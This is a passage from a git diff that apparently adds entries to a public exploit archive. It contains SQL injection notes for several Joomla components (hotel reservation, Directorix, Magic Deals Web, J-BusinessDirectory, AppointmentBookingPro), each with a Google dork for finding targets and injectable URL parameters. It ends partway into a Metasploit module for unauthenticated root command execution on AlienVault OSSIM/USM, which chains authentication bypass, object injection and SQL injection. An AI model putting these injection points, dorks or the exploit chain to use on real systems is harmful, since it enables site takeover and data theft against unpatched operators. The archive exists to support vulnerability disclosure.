Software Buy: http://www.cmsjunkie.com/joomla_multi_hotel_reservation_standard +# Demo: http://hoteldemo.cmsjunkie.com/j3/multiple_standard/ +# Version: 6.0.2 +# Tested on: Win7 x64, Kali Linux x64 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Mail : ihsan[@]ihsan[.]net +# # # # # +# SQL Injection/Exploit : +# http://localhost/[PATH]/index.php?option=com_jhotelreservation&tmpl=component&task=hotelratings.printRating&view=hotelratings&review_id=[SQL] +# Etc... +# # # # # diff --git a/platforms/php/webapps/41409.txt b/platforms/php/webapps/41409.txt new file mode 100755 index 000000000..6bb032017 --- /dev/null +++ b/platforms/php/webapps/41409.txt @@ -0,0 +1,17 @@ +# # # # # +# Exploit Title: Joomla! Component Directorix Directory Manager v1.1.1 - SQL Injection +# Google Dork: inurl:index.php?option=com_directorix +# Date: 21.02.2017 +# Vendor Homepage: http://informafix.fr/ +# Software Buy: https://extensions.joomla.org/extensions/extension/directory-a-documentation/address-book/directorix-directory-manager/ +# Demo: http://demo.informafix.fr/index.php?option=com_directorix +# Version: 1.1.1 +# Tested on: Win7 x64, Kali Linux x64 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Mail : ihsan[@]ihsan[.]net +# # # # # +# SQL Injection/Exploit : +# http://localhost/[PATH]/index.php?option=com_directorix&view=entriessearch&search_categories[]=[SQL] +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/41410.txt b/platforms/php/webapps/41410.txt new file mode 100755 index 000000000..457ff744a --- /dev/null +++ b/platforms/php/webapps/41410.txt @@ -0,0 +1,19 @@ +# # # # # +# Exploit Title: Joomla! Component Magic Deals Web v1.2.0 - SQL Injection +# Google Dork: inurl:index.php?option=com_magicdealsweb +# Date: 21.02.2017 +# Vendor Homepage: http://jasonwebdesign.com/ +# Software Buy: https://extensions.joomla.org/extensions/extension/e-commerce/gifts-a-coupons/magic-deals-web/ +# Demo: http://magicdealsweb.jasonwebdesign.com/ +# Version: 1.2.0 +# Tested on: Win7 x64, Kali Linux x64 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Mail : ihsan[@]ihsan[.]net +# # # # # +# SQL Injection/Exploit : +# http://localhost/[PATH]/index.php?filterbycats=all&fullordering=[SQL]&option=com_magicdealsweb&task=dealswebindex&view=dealswebindex +# http://localhost/[PATH]/index.php?filterbycats=[SQL]=final_price+DESC&option=com_magicdealsweb&task=dealswebindex&view=dealswebindex +# http://localhost/[PATH]/index.php/component/magicdealsweb/?option=com_magicdealsweb&view=search&search_in=11&q=[SQL] +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/41411.txt b/platforms/php/webapps/41411.txt new file mode 100755 index 000000000..69ffde96c --- /dev/null +++ b/platforms/php/webapps/41411.txt @@ -0,0 +1,19 @@ +# # # # # +# Exploit Title: Joomla! Component J-BusinessDirectory v4.6.8 - SQL Injection +# Google Dork: inurl:index.php?option=com_jbusinessdirectory +# Date: 21.02.2017 +# Vendor Homepage: http://www.cmsjunkie.com/ +# Software Buy: http://www.cmsjunkie.com/ajax/index/options/product_id/73/ +# Demo: http://demo.cmsjunkie.com/j-businessdirectory/ +# Version: 4.6.8 +# Tested on: Win7 x64, Kali Linux x64 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Mail : ihsan[@]ihsan[.]net +# # # # # +# SQL Injection/Exploit : +# http://localhost/[PATH]/index.php?option=com_jbusinessdirectory&view=companies&companyId=[SQL] +# http://localhost/[PATH]/index.php?option=com_jbusinessdirectory&view=search&searchkeyword=1&categoryId=[SQL] +# Etc... +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/41412.txt b/platforms/php/webapps/41412.txt new file mode 100755 index 000000000..3916973e7 --- /dev/null +++ b/platforms/php/webapps/41412.txt @@ -0,0 +1,18 @@ +# # # # # +# Exploit Title: Joomla! Component AppointmentBookingPro v4.0.1 - SQL Injection +# Google Dork: inurl:index.php?option=com_rsappt_pro3 +# Date: 21.02.2017 +# Vendor Homepage: http://appointmentbookingpro.com/ +# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/appointmentbookingpro/ +# Demo: http://demo.appointmentbookingpro.com/ +# Version: 4.0.1 / 4.0.2 +# Tested on: Win7 x64, Kali Linux x64 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Mail : ihsan[@]ihsan[.]net +# # # # # +# SQL Injection/Exploit : +# http://localhost/[PATH]/component/rsappt_pro3/booking_screen_gad/891/show_confirmation/ff09f352c87f96e505706df0cfa3e8cc/999[SQL] +# http://localhost/[PATH]/index.php?option=com_rsappt_pro3&view=resourceslist&tags=[SQL] +# # # # # diff --git a/platforms/php/webapps/41424.rb b/platforms/php/webapps/41424.rb new file mode 100755 index 000000000..58790df1a --- /dev/null +++ b/platforms/php/webapps/41424.rb @@ -0,0 +1,322 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault OSSIM/USM Remote Code Execution", + 'Description' => %q{ + This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. + Unauthenticated users can execute arbitrary commands under the context of the root user. + + By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability + which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue + action and policy that enables to execute operating system commands by using captured session token. As a final step, + SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes + operating system command with root user privileges. + + This module was tested against following product and versions: + AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0 + AlienVault OSSIM 5.0.0, 4.6.1 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Peter Lapp', # EDB advisory owner + 'Mehmet Ince